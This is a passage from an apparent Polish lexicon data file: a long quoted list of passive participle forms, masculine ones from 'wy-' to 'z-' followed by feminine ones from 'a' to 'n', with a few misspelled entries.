wyłuskany","wyłuskiwany","wyłuszczony","wyluzowany","wymacany","wymachiwany","wymagany","wymahiwany","wymalowany","wymamrotany","wymanewrowany","wymarzony","wymasowany","wymawiany","wymazany","wymazywany","wymeldowany","wymeldowywany","wymiatany","wymieciony","wymieniany","wymieniony","wymierzany","wymieszany","wymigany","wymigiwany","wymijany","wyminięty","wymknięty","wymoczony","wymodelowany","wymontowany","wymordowany","wymsknięty","wymuszany","wymyślany","wymyślony","wymyty","wynagradzany","wynagrodzony","wynajdowany","wynajdywany","wynajęty","wynajmowany","wynaleziony","wynarodowiony","wynegocjowany","wyniesiony","wyniknięty","wyniszczany","wyniszczony","wyniuchany","wynoszony","wynurzany","wyobrażany","wyobrażony","wyodrębniony","wyolbrzymiany","wyolbrzymiony","wyorbowany","wyosiowany","wyostrzany","wyostrzony","wypaczany","wypakowany","wypakowywany","wypalany","wypalony","wypałowany","wyparowany","wyparty","wypasany","wypastowany","wypatroszony","wypatrywany","wypatrzony","wypchany","wypchnięty","wypędzany","wypędzlowany","wypełniany","wypełniony","wypersfadowany","wyperswadowany","wypierany","wypięty","wypijany","wypinany","wypisany","wypisywany","wypity","wypłacany","wypłacony","wypłakany","wypłakiwany","wypłaszczony","wyplatany","wyplątany","wypleniony","wyplewiony","wypłoszony","wypłukany","wypłukiwany","wypluty","wypluwany","wypocony","wypoczęty","wypolerowany","wypominany","wypomniany","wypompowany","wypompowywany","wyposażony","wypowiadany","wypowiedziany","wypoziomowany","wypożyczany","wypracowany","wypracowywany","wyprany","wyprasowany","wypraszany","wyprawiany","wyprawiony","wypróbowany","wyprodukowany","wyprojektowany","wypromieniowany","wypromowany","wyprostowany","wyprostowywany","wyproszony","wyprowadzany","wyprowadzony","wypróżniany","wypróżniony","wypruty","wypruwany","wyprzedany","wyprzedawany","wyprzedzany","wyprzedzony","wyprzęgany","wypstrykany","wypucowany","wypuszczany","wypuszczony","wypychany","wypytany","wypytywany","wyrąbany","wyrabiany","wyrąbywany","wyratowany","wyrażany","wyrażony","wyrecytowany","wyręczany","wyręczony","wyregulowany","wyrejestrowany","wyremontowany","wyreżyserowany","wyrobiony","wyrolowany","wyrośnięty","wyrównany","wyrównywany","wyróżniany","wyróżniony","wyrugowany","wyruszany","wyrwany","wyrypany","wyrysowany","wyryty","wyrywany","wyrządzony","wyrzeźbiony","wyrżnięty","wyrzucany","wyrzucony","wyrzygany","wyrzynany","wyrzywany","wysączony","wysadzany","wysadzony","wyschnięty","wyściskany","wyselekcjonowany","wysępiony","wysiadywany","wysiedzony","wysilany","wysilony","wyskakiwany","wyskalowany","wyskoczony","wyskrobany","wyskubywany","wysłany","wyśledzony","wyślizgiwany","wyślizgnięty","wysłowiony","wysłuchany","wysłuchiwany","wysmagany","wysmarkany","wysmarowany","wysmażany","wysmażony","wyśmiany","wyśmiewany","wysmołowany","wysmyrany","wyśniony","wysnuty","wysnuwany","wysondowany","wyspecjalizowany","wyśpiewany","wyśpiewywany","wyspowiadany","wysprzątany","wysprzedany","wyssany","wystartowany","wystawiony","wysterelizowany","wysterylizowany","wystosowany","wystosowywany","wystraszony","wystrojony","wystrugany","wystrychnięty","wystrzegany","wystrzelany","wystrzeliwany","wystrzelony","wystudzony","wystukany","wystukiwany","wystygnięty","wysunięty","wysuszany","wysuwany","wyswatany","wyświadczany","wyświadczony","wyświetlany","wyświetlony","wyswobodzony","wysyłany","wysypany","wysypywany","wysysany","wyszabrowany","wyszalany","wyszarpany","wyszarpnięty","wyszasowany","wyszczotkowany","wyszczuplony","wyszeptany","wyszkolony","wyszlifowany","wyszorowany","wyszperany","wyszukany","wyszukiwany","wyszumiony","wyszykowany","wyszyty","wytapetowany","wytargany","wytargowany","wytarty","wytarzany","wytaszczony","wytatuowany","wytchnięty","wytępiony","wytknięty","wytłoczony","wytłumaczony","wytłumiony","wytoczony","wytrąbiony","wytrącany","wytrącony","wytransmitowany","wytransportowany","wytrenowany","wytresowany","wytriangulowany","wytropiony","wytruty","wytrząsany","wytrzasnięty","wytrząśnięty","wytrzebiony","wytrzepany","wytrzeszczany","wytrzeźwiany","wytrzymany","wytrzymywany","wytwarzany","wytworzony","wytyczony","wytykany","wytypowany","wyuczony","wywabiany","wywabiony","wywąchany","wywalany","wywalczony","wywalony","wywarty","wywarzany","wyważany","wyważony","wywęszany","wywężykowany","wywiany","wywiązany","wywiązywany","wywierany","wywiercony","wywieszany","wywieszony","wywietrzony","wywieziony","wywijany","wywindowany","wywinięty","wywłaszczony","wywlekany","wywnętrzniony","wywnioskowany","wywodzony","wywolany","wywoływany","wywoskowany","wywożony","wywracany","wywrócony","wywróżony","wywyższany","wyżalony","wyzbyty","wyzdrowiony","wyżebrany","wyżerany","wyzerowany","wyzionięty","wyznaczany","wyznaczony","wyznany","wyznawany","wyzwalany","wyzwany","wyzwolony","wyzygzakowany","wyżynany","wyzyskany","wyzyskiwany","wyżyty","wyzywany","wyżywany","wyżywiony","wzbijany","wzbity","wzbogacany","wzbogacony","wzbraniany","wzbudzany","wzbudzony","wzburzany","wzburzony","wżeniony","wzięty","wzmacniony","wzmagany","wzmocniony","wznawiany","wzniecany","wznieciony","wzniesięty","wznoszony","wznowiony","wzorowany","wzrośnięty","wzruszony","wzwyżany","wzywany","zaabordowany","zaadaptowany","zaadoptowany","zaadresowany","zaakcentowany","zaakceptowany","zaaklimatyzowany","zaalarmowany","zaanektowany","zaangażowany","zaanonsowany","zaapelowany","zaaplikowany","zaaportowany","zaaprobowany","zaaranżowany","zaaresztowany","zaatakowany","zabaczony","zabalowany","zabandażowany","zabarwiony","zabarykadowany","zabawiany","zabawiony","zabepieczany","zabetonowany","zabezpieczony","zabierany","zabity","zabłądzony","zablefowany","zabłocony","zablokowany","zabraniany","zabrany","zabrnięty","zabroniony","zabrudzony","zabudowany","zabukowany","zabulony","zaburzony","zabutelkowany","zacementowany","zacerowany","zachciany","zachęcany","zachęcony","zachlapany","zachodzony","zachomikowany","zachorowany","zachowany","zachowywany","zachwalany","zachwalony","zachwiany","zachwycony","zaciągany","zaciągnięty","zaciążony","zaciekawiony","zaciemniany","zaciemniony","zacierany","zacieśniony","zacięty","zacinany","zaciskany","zaciśnięty","zaćmiony","zacumowany","zacytowany","zaczadzony","zaczarowany","Zaczepiany","zaczepiony","zaczerpany","zaczesany","zaczęty","zaczołgany","zaczynany","zadarty","zadawalany","zadawany","zadbany","zadebiutowany","zadedykowany","zadeklamowany","zadeklarowany","zademonstrowany","zadenucjowany","zadepeszowany","zadeptany","zadeptywany","zadęty","zadławiony","żądlony","zadłużany","zadłużony","zadokowany","zadomowiony","zadowalany","zadrapany","zadraśnięty","zadręczany","zadręczony","zadrutowany","zadurzany","zadurzony","zaduszony","zadymiony","zadźgany","zadziobany","zadziwiany","zadziwiony","zafakturowany","zafałszowany","zafarbowany","zafiksowany","zafundowany","zagadany","zagadnięty","zagadywany","zagajony","zaganiany","zagapiony","zagarażowany","zagarniany","zagarnięty","zagaszony","zagazowany","zagęszczony","zagięty","zaginany","zaginięty","zagłębiany","zagłębiony","zagłodzony","zagłuszany","zagłuszony","zagmatwany","zagnany","zagnieżdżony","zagojony","zagoniony","zagospodarowany","zagotowany","zagrabiony","zagradzany","zagrażany","zagrodzony","zagrywany","zagryzany","zagryziony","zagrzany","zagrzebany","zagrzewany","zagubiony","zagwarantowany","zahaczony","zahamowany","zahandlowany","zaharowany","zahartowany","zahipnotyzowany","zaholowany","zaimitowany","zaimplantowany","zaimplementowany","zaimprowizowany","zainaugurowany","zainfekowany","zainicjowany","zainkasowany","zainscenizowany","zainspirowany","zainstalowany","zainteresowany","zaintrygowany","zaintubowany","zainwestowany","zaizolowany","zajadany","zajany","zajarany","zajechany","zajęty","zajmowany","zakablowany","zakamuflowany","zakasany","zakasowany","zakąszany","zakatalogowany","zakatowany","zakatrupiony","zakazany","zakażany","zakazywany","zakiszony","zakładany","zaklasyfikowany","zaklejany","zaklejony","zaklepany","zaklepywany","zaklinany","zaklinowany","zakłócany","zakłócony","zaklopotany","zakłuty","zakneblowany","zakodowany","zakolczykowany","zakolorowany","zakołysany","zakomunikowany","zakończony","zakonserwowany","zakopany","zakopywany","zakorzeniany","zakorzeniony","zakoszony","zakosztowany","zakotwiczany","zakotwiczony","zakpiony","zakradany","zakręcany","zakręcony","zakreślany","zakreślony","zakrwawiony","zakryty","zakrywany","zakrzyczany","zakrzyknięty","zakrzywiany","zakrzywiony","zaksięgowany","zaktualizowany","zaktywizowany","zaktywowany","zakumany","zakupiony","zakurzony","zakuty","zakuwany","zakwaterowany","zakwestionować","zakwitnięty","załączony","załadowany","załagodzony","zalamany","zalaminowany","załamywany","zalany","załapany","załatany","załatwiany","załatwiony","zalatywany","zalecany","zalecony","zaleczony","zalegalizowany","zalegany","zalepiany","zalepiony","zalewany","zaliczany","zaliczony","załkany","zalogowany","żałowany","założony","zaludniony","zamacany","zamachnięty","zamącony","zamalowany","zamanewrowany","zamanifestowany","zamarkowany","zamartwiany","zamarynowany","zamarzany","zamarznięty","zamaskowany","zamawiany","zamazany","zamazywany","zamęczany","zamęczony","zameldowany","zamelinowany","zamerykanizowany","zamiatany","zamieniany","zamieniony","zamieszany","zamieszczany","zamieszczony","zamieszkany","zamieszkiwany","zaminowany","zamknięty","zamocowany","zamoczony","zamontowany","zamordowany","zamortyzowany","zamotany","zamówiony","zamrażany","zamroczony","zamrożony","zamulany","zamurowany","zamydlony","zamykany","zanalizowany","zanegowany","zaniechany","zanieczyszczany","zanieczyszczony","zaniedbany","zaniedbywany","zaniepokojony","zaniesiony","zanihilowany","zanikany","zaniknięty","zaniżany","zaniżony","zanoszony","zanotowany","zanucony","zanudzany","zanudzony","zanurzany","zanurzony","zanużony","zaobaczony","zaobserwowany","zaoferowany","zaofiarowany","zaogniany","zaogniony","zaokrąglany","zaokrąglony","zaokrętowany","zaopatrywany","zaopatrzony","zaopiekowany","zaorany","zaostrzany","zaostrzony","zaoszczędzony","zapadany","zapakowany","zapalany","zapalony","zapamiętany","zapamiętywany","zapanowany","zaparkowany","zaparowywany","zaparzany","zaparzony","zapaskudzony","zapauzowany","zapchany","zapędzany","zapełniany","zapełniony","zaperfumowany","zapeszany","zapewniany","zapewniony","zapieczętowany","zapierany","zapięty","zapijany","zapinany","zapisany","zapisuwany","zapity","zapłacony","zapładniany","zaplamiony","zaplanowany","zaplątany","zapłodniony","zaplombowany","zapobiegany","zapodany","zapodawany","zapodziany","zapokojony","zapolowany","zapominany","zapomniany","zapowiadany","zapowiedziany","zapoznany","zapoznawany","zapożyczony","zapracowywany","zaprany","zaprasowywany","zapraszany","zaprawiony","zaprenumerowany","zaprezentowany","Zaprogramowany","zaprojektowany","zaproponowany","zaproszony","zaprotokołowany","zaprowadzany","zaprowadzony","zaprzątany","zaprzeczany","zaprzeczony","zaprzedany","zaprzedawany","zaprzęgany","zaprzepaszczany","zaprzestany","zaprzestawany","zaprzyjaźniony","zapudłowany","zapunktowany","zapuszczany","zapuszczony","zapuszkowany","zapychany","zapylany","zapylony","zapytany","zarabiany","zaranżowany","zarażany","zarażony","zarecytowany","zaręczany","zaręczony","zarejestrowany","zareklamowany","zarekomendowany","zarekomondowany","zarekwirowany","zarezerwowany","zarobiony","żartowany","zarwany","zaryglowany","zarymowany","zarysowany","zarywany","zaryzykowany","zarządzany","zarżnięty","zarzucany","zarzynany","zasadzony","zaścielony","zasegurowany","zaserwowany","zasiadany","zasiany","zasiedlony","zasięgany","zasięgnięty","zasiewany","zasilany","zasilony","zaskakiwany","zaskarbiony","zaskoczony","zaskrobany","zasłaniany","zaślepiany","zaślepiony","zasłodzony","zasłoniony","zasłużony","zasmakowany","zaśmiecany","zaśmiecony","zasmradzany","zasmrodzony","zasmucany","zasmucony","zasolony","zaspakajany","zaśpiewany","zaspokajany","zaspokojony","zasponsorowany","zaśrubowywany","zassany","zastany","zastąpiony","zastawiany","zastawiony","zastępowany","zastopowany","zastosowany","zastraszany","zastraszony","zastrzelony","zasugerowany","zasunięty","zasuwany","zaświadczony","zaświecony","zaświoniony","zasyfiony","zasygnalizowany","zasymilowany","zasymulowany","zasypany","zasypywany","zasysany","zaszachowany","zaszantażowany","zaszargany","zaszczepiany","zaszczepiony","zaszczuty","zaszczycany","zaszczycony","zaszeptany","zaszeregowany","zaszlachtowany","zasznurowany","zaszpachlowany","zasztyletowany","zaszufladkowany","zaszyfrowany","zaszyty","zaszywany","zataczany","zatajany","zatajony","zatamowany","zatankowany","zatapiany","zatargany","zatarty","zatelegrafowany","zatemperowany","zatęskniony","zatkany","zatknięty","zatoczony","zatonięty","zatopiony","zatracany","zatracony","zatriumfowany","zatrudniany","zatrudniony","zatruty","zatruwany","zatrzaskiwany","zatrzaśnięty","zatrząśnięty","zatrzymany","zatrzymywany","zatuszowany","zatwierdzany","zatwierdzony","zatykany","zatynkowany","zatytułowany","zauploadowany","zauroczony","zautomatyzowany","zauważany","zauważony","zawadzany","zawalany","zawalczony","zawalony","zawarty","zaważony","zawdzięczany","zawetowany","zawężony","zawiadamiany","zawiadomiony","zawiązany","zawiązywany","zawiedzony","zawierany","zawierzony","zawieszany","zawieszony","zawieziony","zawijany","zawinięty","zawiniony","zawiśnięty","zawitany","zawładnięty","zawłaszczony","zawodzony","zawojowany","zawołany","zawoskowany","zawożony","zawracany","zawrócony","zawstydzany","zażądany","zażartowany","zazdroszczony","zażegnany","zażenowany","zaznaczany","zaznajomiony","zaznany","zaznawany","zażyczony","zażyty","zażywany","zbaczany","zbadany","zbagatelizowany","zbajerowany","zbałamucony","zbalansowany","zbalsamowany","zbankrutowany","zbawiany","zbawiony","zbesztany","zbezczeszczony","zbierany","zbijany","zbity","zbliżony","zbluzgany","zbojkotowany","zbrojony","zbrukany","zbszczecony","zbudowany","zbudzony","zbuntowany","zburzony","zbyty","zbywany","zchwytany","zcięty","zciszony","zdany","zdarty","zdeaktywowany","zdecydowany","zdefiniowany","zdeflorowany","zdegradowany","zdejmowany","zdeklarowany","zdekodowany","zdekompresowany","zdekoncentrowany","zdekonstruowany","zdelegalizowany","zdemaskowany","zdementowany","zdemolowany","zdemontowany","zdemoralizowany","zdenerwowany","zdeponowany","zdeprymowany","zdeptany","zderzany","zderzony","zdestabilizowany","Zdetonowany","zdetronizowany","zdewastowany","zdewaulowany","zdezerterowany","zdezintegrowany","zdezorientowany","zdezynfektowany","zdiagnozowany","zdjęty","zdławiony","zdmuchiwany","zdmuchnięty","zdobyty","zdobywany","zdołowany","zdominowany","zdopingowany","zdrabniany","zdradzany","zdradzony","zdrapany","zdrapywany","zdrutowany","zdruzgotany","zduplikowany","zduszony","zdwojony","zdyscyplinowany","zdyskredytowany","zdyskwalifikowany","zdystansowany","zdzielony","zdzierany","zdzierżony","zdziesiątkowany","Zdzwoniony","zebrany","zechciany","zedytowany","żegnany","żeniony","zepchnięty","zepsuty","żerowany","zerwany","zerżnięty","zeskakiwany","zeskanowany","zeskrobywany","zesłany","ześlizgiwany","ześlizgnięty","zesmolony","zespawiany","zespolony","zessany","zestawiany","zestawiony","zestresowany","zestrzeliwany","zestrzelony","zeswatany","zeszklony","zeszlifowany","zetknięty","zezłoszczony","zeznany","zeznawany","zezwalany","zezwolony","zfinansowany","zgadany","zgadywany","zgajany","zganiony","zgarnięty","zgaśnięty","zgaszony","zgięty","zginany","zgładzony","zgłaszany","zgłębiany","zgłębiony","zgłośniony","zgłoszony","zgłuszony","zgniatany","zgnieciony","zgnity","zgnojony","zgodzony","zgolony","zgoniony","zgotowany","zgrabiony","zgrillowany","zgromadzany","zgromadzony","zgrupowany","zgrzeszony","zgrzytany","zgubiony","zgwałcony","zhackowany","zhakowany","zhańbiony","zhandlowany","zharmonizowany","zidentyfikowany","ziewany","zignorowany","zilustrowany","zinfiltrowany","zintegrowany","zintensyfikowany","zinterpretowany","zinwentaryzowany","zirytowany","zjadany","zjawiany","zjednany","zjednoczony","zjedzony","zjeżdżony","zkontaktowany","zkserowany","złączony","złagodzony","złajany","złamany","zlany","złapany","zlecany","zlecony","zlekceważony","zlepiany","zlepiony","zlewany","zlicytowany","zliczany","zliczony","zlikwidowany","zlinczowany","zlitowany","zlizany","zlizywany","złoity","zlokalizowany","złomowany","żłopany","złowiony","złożony","złupiony","złuszczany","zluzowany","zmacany","zmącony","zmagany","zmagazynowany","zmajstrowany","zmaksylizowany","zmanipulowany","zmarnowany","zmartwychwstany","zmarznięty","zmasakrowany","zmaterializowany","zmawiany","zmazany","zmazywany","zmbobardowany","zmiatany","zmiażdżony","zmiękczony","zmielony","zmieniany","zmieniony","zmierzany","zmierzony","zmierzwiony","zmieszany","zmieszczony","zmiksowany","zminiaturyzowany","zminimalizowany","zmniejszany","zmniejszony","zmobilizowany","zmoczony","zmodernizowany","zmodyfikowany","zmoknięty","zmonopolizowany","zmontowany","zmostkowany","zmotywowany","zmówiony","zmrożony","zmrużony","zmumifikowany","zmuszany","zmuszony","zmutowany","zmyślany","zmyty","zmywany","znacjonalizowany","znajdowany","znajdywany","znakowany","znaleziony","znany","znęcany","zneutralizowany","zniechęcony","znieczulony","zniekształcany","zniekształcony","znienawidzony","znieprawiony","zniesiony","zniesławiany","zniesławiony","zniewalany","znieważany","znieważony","zniewolony","zniszczony","zniweczony","zniwelowany","zniżany","zniżony","znokautowany","znormalniony","znoszony","znudzony","zobaczony","zobowiązany","zobrazowany","zogniskowany","żonglowany","zoomowany","zoperowany","zoptymalizowany","zorbity","zorganizowany","zorientowany","zostawiany","zostawiony","zpłacony","zprowokowany","zrabowany","zrachowany","zracjonalizowany","zraniony","zraportowany","zrażany","zrażony","zrealizowany","zrecenzowany","zredagowany","zredukowany","zreferowany","zreformowany","zrefowany","zrefundowany","zregenerowany","zrehabilitowany","zreinkarnowany","zreintegrowany","zrekonfigurowany","zrekonstruowany","zrekrutowany","zrekrystalizowany","zrelacjonowany","zrelaksowany","zremiksowany","zremisowany","zreorganizowany","zreperowany","zreplikowany","zresetowany","zresocjalizowany","zrestartowany","zrestrukturyzowany","zrewanżowany","zrewidowany","zrewolucjonizowany","zrezygnowany","zrobiony","zrolowany","zroszony","zrównany","zrównoważony","zrównywany","zróżnicowany","zrozumiany","zrugany","zruinowany","zrujnowany","zrymowany","zrywany","zrzędzony","zrzeszony","zrzucany","zrzucony","zsumowany","zsunięty","zsuwany","zsynchronizowany","zsyntetyzowany","zsypywany","zszargany","zszokowany","zszyty","zszywany","ztarty","żuty","zutylizowany","zużyty","zużywany","zwabiany","zwabiony","zwalany","zwalczony","zwalniany","zwalony","zwany","zwaporyzowany","zwątpiony","zważany","zważony","zwędzony","zwerbalizowany","zwerbowany","zweryfikowany","zwęszony","zwężony","zwiastowany","związany","związywany","zwichnięty","zwiedzany","zwiedzony","zwiększony","zwieńczony","zwierzany","zwieszany","zwieszony","zwietrzony","zwijany","zwilżony","zwinięty","zwizualizowany","zwlekany","zwodowany","zwodzony","zwołany","zwolniony","zwoływany","zwożony","zwracany","zwrócony","zwyciężany","zwymiotowany","życzony","żygany","zygzakowany","zyskany","zyskiwany","żyty","zżarty","zżerany","zżynany","zżyty","abdykowana","absorbowana","adaptowana","administrowana","adoptowana","adorowana","adresowana","afiszowana","agitowana","akcentowana","akceptowana","aklimatyzowana","akompaniowana","aktualizowana","aktywowana","akumulowana","alaromowana","alienowana","amerykanizowana","amortyzowana","amputowana","analizowana","angażowana","anihilowana","animowana","anonsowana","antropomorfizowana","antydatowana","anulowana","apelowana","aportowana","aranżowana","archiwizowana","aresztowana","argumentowana","artykułowana","ascendowana","asekurowana","asymilowana","asystowana","atakowana","autoryzowana","awanturowana","babrana","baczona","badana","bagatelizowana","bajerowana","bałamucona","balangowana","balansowana","banalizowana","bandażowana","bankrutowana","baraszkowana","barwiona","bawiona","bazgrana","bazowana","bębniona","bełkotana","besztana","biadolona","biczowana","bita","błagana","błaznowana","blefowana","błogosławiona","blokowana","bluzgana","błyskana","błyszcząca","boczona","bogacona","bojkotowana","boksowana","bombardowana","bopowana","borowana","brandzlowana","brana","brasowana","bratana","bredzona","brnięta","brodzona","broniona","brudzona","brylowana","budowana","budzona","bujana","bulona","bulwersowana","bumelowana","burzona","butelkowana","bywana","cackana","całowana","capnięta","cechowana","celebrowana","celowana","ceniona","cenzurowana","chciana","chlana","chlapana","chlapnięta","chlastana","chłodzona","chlostana","chlubiona","chodowana","chomikowana","chorowana","chowana","chroniona","chrupana","chrzczona","chuta","chwalona","chwycona","chwytana","chybotana","chylona","ciachnięta","ciągana","ciągnięta","ciemiężona","cierpiana","cieszona","cięta","ciskana","ciśnięta","ciułana","cmokana","cmoknięta","cofana","cofnięta","ćpana","cucona","cudzołożona","cumowana","ćwiartowana","ćwiczona","cykana","cytowana","czajona","czarowana","czczona","czepiana","czepiona","czerpana","czesana","częstowana","czochrana","czołgana","czuta","czytana","czyta","darowana","darta","darzona","datowana","dawana","dbana","deaktywowana","debatowana","dedukowana","dedykowana","defibrylowana","defilowana","definiowana","defraudowana","degradowana","degustowana","deklamowana","deklarowana","dekodowana","dekompresowana","dekorowana","dekretowana","delegowana","delektowana","deliberowana","demaskowana","dementowana","demolowana","demonizowana","demonstrowana","demoralizowana","denerwowana","denuncjowana","depeszowana","depilowana","deportowana","deprawowana","deptana","deratyzowana","destabilizowana","destylowana","desygnowana","determinowana","detonowana","dewastowana","dewaulowana","dezaktywowana","dezorientowana","dezynfekowana","diagnozowana","dilowana","dłubana","dłużona","dmuchana","dmuchnięta","dobiegana","dobierana","dobijana","dobita","dobrana","dobudzona","dobyta","doceniana","doceniona","dochodzona","dochowana","dochowywana","dociągnięta","dociekana","docięta","docinana","dociskana","dociśnięta","doczekana","doczepiona","doczołgana","doczyszczona","doczytana","dodana","dodawana","dodrukowana","dodrukowywana","dofinansowana","dofinansowywana","dogadana","dogadywana","dogadzana","doganiana","doglądana","doglądnięta","dognana","dogodzona","dogoniona","dograna","dogryzana","dogryziona","dogrzana","dogrzebana","doinformowana","dojeżdżana","dojona","dojrzana","dojrzewana","dokańczana","dokarmiana","dokarmiona","dokazana","dokazywana","dokładana","doklejona","dokonana","dokończona","dokonywana","dokopana","dokopywana","dokowana","dokręcana","dokręcona","dokształcana","dokształcona","dokuczana","dokumentowana","dokupiona","dołączana","dołączona","doładowana","dolana","dolewana","doliczona","dołowana","dołożona","domagana","domalowana","domknięta","domniewywana","domówiona","domyślana","domyślona","domyta","doniesiona","donoszona","dopadana","dopadnięta","dopakowana","dopalona","dopasowana","dopasowywana","dopatrywana","dopatrzona","dopchana","dopchnięta","dopełniana","dopełniona","dopieszczona","dopięta","dopijana","dopilnowana","dopingowana","dopisana","dopisywana","dopita","dopłacana","dopłacona","dopłynięta","dopolerowana","dopompowana","dopowiedziana","dopracowana","dopracowywana","doprana","doprawiona","doprecyzowana","doproszona","doprowadzana","doprowadzona","dopucowana","dopuszczana","dopuszczona","dopytywana","dorabiana","doradzana","doradzona","doręczana","doręczona","dorobiona","dorównana","dorównywana","dorwana","dorysowana","dorzucana","dorzucona","doścignięta","dosiadana","dosięgnięta","doskoczona","doskonalona","dosładzana","dosłana","dosłyszana","dosolona","dośrodkowana","dossana","dostana","dostąpiona","dostarczana","dostarczona","dostawana","dostawiana","dostawiona","dostosowana","dostosowywana","dostrajana","dostrojona","dostrzegana","dosunięta","dosuwana","doświadczana","doświetlona","dosypana","dosypywana","doszkolona","doszlifowana","doszorowana","doszukana","doszukiwana","doszyta","dotankowana","dotankowywana","dotargana","dotaszczona","dotknięta","dotleniona","dotłumaczona","dotowana","dotrwana","dotrzymana","dotrzymywana","dotykana","douczana","douczona","dowalona","dowieziona","dowodzona","dowożona","doznana","doznawana","dozorowana","dozowana","dożyta","dożywiona","dramatyzowana","drapana","drapnięta","draśnięta","drażniona","drążona","dręczona","drenowana","drgana","drgnięta","drukowana","dryblowana","dryfowana","drzemana","dubbingowana","dublowana","duplikowana","duszona","dworowana","dygotana","dyktowana","dymana","dymiona","dyrygowana","dyscyplinowana","dyskredytowana","dyskryminowana","dyskutowana","dyskwalifikowana","dysponowana","dystansowana","dystrybuowana","dywagowana","dźgana","dźgnięta","dziabnięta","dziedziczona","dziękowana","dzielona","dziergana","dzierżona","dziobana","dziurawiona","dziurkowana","dźwigana","dźwignięta","edukowana","edytowana","egzaminowana","egzekutowana","egzekwowana","ekscytowana","ekshumowana","ekskomunikowana","eksmitowana","ekspandowana","eksperymentowana","eksploatowana","eksplorowana","eksponowana","eksportowana","eksterminowana","ekstradowana","ekstrapolowana","eliminowana","emancypowana","emanowaa","emigrowana","emitowana","energetyzowana","eskortowana","etykietowana","ewakuowana","ewaluowana","fabrykowana","falowana","fałszowana","farbowana","faszerowana","faulowana","faworyzowana","fechtowana","fermentowana","ferowana","figurowana","filetowana","filmowana","filtrowana","finalizowana","finansowana","firmowana","fleszowana","folgowana","formułowana","forsowana","fotografowana","fundowana","gadana","ganiana","garbiona","gardzona","garnirowana","gaszona","gawędzona","gaworzona","gazowana","gdakana","gderana","generalizowana","generowana","gięta","gilgotana","gładzona","głaskana","głodowana","głodzona","gloryfikowana","głosowana","głoszona","głowiona","gmatwana","gmerana","gnana","gnębiona","gnieciona","gnita","gnojona","godzona","gojona","golnięta","golona","goniona","googlowana","gospodarowana","goszczona","gotowana","grabiona","grana","grasowana","gratulowana","grillowana","grilowana","gromadzona","gromiona","grożona","gruchana","gruchnięta","grupowana","grywana","gryziona","grzana","grzechotana","gubiona","gustowana","gwałcona","gwarantowana","gwizdana","gwizdnięta","hackowana","haftowana","hajtnięta","hamowana","hańbiona","handlowana","harcowana","harmonizowana","harowana","hartowana","hibernowana","hipnotyzowana","hodowana","holowana","hołubiona","honorowana","hospitalizowana","huknięta","hulana","huśtana","idealizowana","identyfikowana","ignorowana","igrana","ilustrowana","imitowana","implantowana","implodowana","imponowana","importowana","improwizowana","indokrynowana","indukowana","infekowana","infiltrowana","informowana","ingerowana","inhalowana","inscenizowana","inspirowana","instalowana","instruowana","insynuowana","integrowana","interpretowana","interweniowana","intonowana","intubowana","inwestowana","inwigilowana","irytowana","iskrzona","izolowana","jadana","jawiona","jazgotana","jednoczona","jedzona","kablowana","kadzona","kalana","kaleczona","kalkulowana","kamerowana","kamienowana","kamuflowana","kanalizowana","kantowanta","kąpana","kapitulowana","kapowana","karana","karbonizowana","karcona","karczowana","karmiona","kartkowana","kąsana","kasowana","kastrowana","katalogowana","katapultowana","katowana","katrupiona","kierowana","kimana","kiszona","kiwana","kiwnięta","kłaniana","klapana","klapnięta","klarowana","klasyfikowana","klębiona","klejona","klepana","klepnięta","klikana","kliknięta","klonowana","kłopotana","kłuta","knocona","knuta","kochana","koczowana","kodowana","kojarzona","kojfnięta","kojona","kolekcjonowana","kolektywizowana","kolidowana","kolonizowana","kolorowana","koloryzowana","kołowana","kołysana","kombinowana","komenderowana","komentowana","komercjalizowana","kompensowana","komplementowana","komplikowana","komponowana","kompromitowana","komunikowana","konana","koncentrowana","kończona","konfabulowana","konfiskowana","konfrontowana","konserwowana","konspirowana","konstruowana","konsultowana","konsumowana","kontaktowana","kontestowana","kontrastowana","kontrolowana","kontrowana","kontynuowana","konwertowana","konwojowana","koordynowana","kopana","kopcona","kopiowana","kopnięta","kopulowana","korelowana","korkowana","koronowana","korygowana","korzona","korzystana","koszona","kotwiczona","kozaczona","kozłowana","kpita","kradziona","krajana","krążona","kręcona","kremowana","kreowana","krochmalona","krojona","kropiona","kruszona","krystalizowana","kryta","krytykowana","krzepnięta","krzyczana","krzyknięta","krzywdzona","krzywiona","krzyżowana","kserowana","księgowana","kształcona","kształtowana","kulona","kultywowana","kumulowana","kupczona","kupiona","kupowana","kupywana","kurczona","kurowana","kursowana","kurzona","kuszona","kuta","kwalifikowana","kwestionowana","łączona","ładowana","łagodzona","łajdaczona","lakierowana","łamana","lamentowana","lansowana","lana","łapana","łaskotana","łaszona","latana","łatana","lawirowana","leczona","legalizowana","legitymowana","lekceważona","lepiona","lewitowana","liberowana","licencjonowana","licytowana","liczona","likwidowana","linczowana","liniowana","literowana","litowana","lizana","liznięta","lobbowana","lokalizowana","losowana","łowiona","łożona","lubiana","łudzona","lunatykowana","łupana","łupiona","łuskana","lustrowana","łuszczona","luzowana","łykana","łyknięta","łyżeczkowana","macana","machana","machnięta","mącona","maczana","maganyzowana","maglowana","majaczona","majsterkowana","majtana","maksymalizowana","malowana","maltretowana","mamiona","mamrotana","manewrowana","manifestowana","manipulowana","markowana","marnotrawiona","marnowana","marszczona","marynowana","marznięta","masakrowana","maskowana","masowana","masturbowana","mataczona","materializowana","mawiana","mazana","maznięta","męczona","meldowana","merdana","metabolizowana","miażdżona","mielona","mierzona","mierzwiona","mieszana","miętolona","migana","migdalona","migotana","mijana","miksowana","milowana","minięta","minimalizowana","miotana","mistyfikowana","mitygowana","mizdrzona","mlana","mniemana","mnożona","mobilizowana","mocowana","moczona","modelowana","modernizowana","modlona","modulowana","modyfikowana","molestowana","monitorowana","monopolizowana","montowana","mordowana","motywowana","mówiona","mrożona","mrugana","mrużona","muskana","mutowana","mydlona","mylona","myszkowana","myta","nabazgrana","nabiegana","nabierana","nabita","nabrana","nabrojona","nabrudzona","nabyta","nabywana","nacelowana","nachapana","nachodzona","nachwalona","nachylona","naciągana","naciągnięta","nacierana","nacięta","nacinana","naciskana","naciśnięta","nacjonalizowana","naczepiona","nadana","nadawana","nadchodzona","nadciągana","nadciągnięta","nadcięta","nadesłana","nadgoniona","nadgryzana","nadgryziona","nadinterpretowana","nadłożona","nadmieniana","nadmieniona","nadmuchana","nadrabiana","nadrobiona","nadskakiwana","nadsłuchiwana","nadstawiana","nadstawiona","nadszarpnięta","naduszona","nadużyta","nadużywana","nadwerężana","nadwyrężana","nadwyrężona","nadziana","nadzorowana","naelektryzowana","nafaszerowana",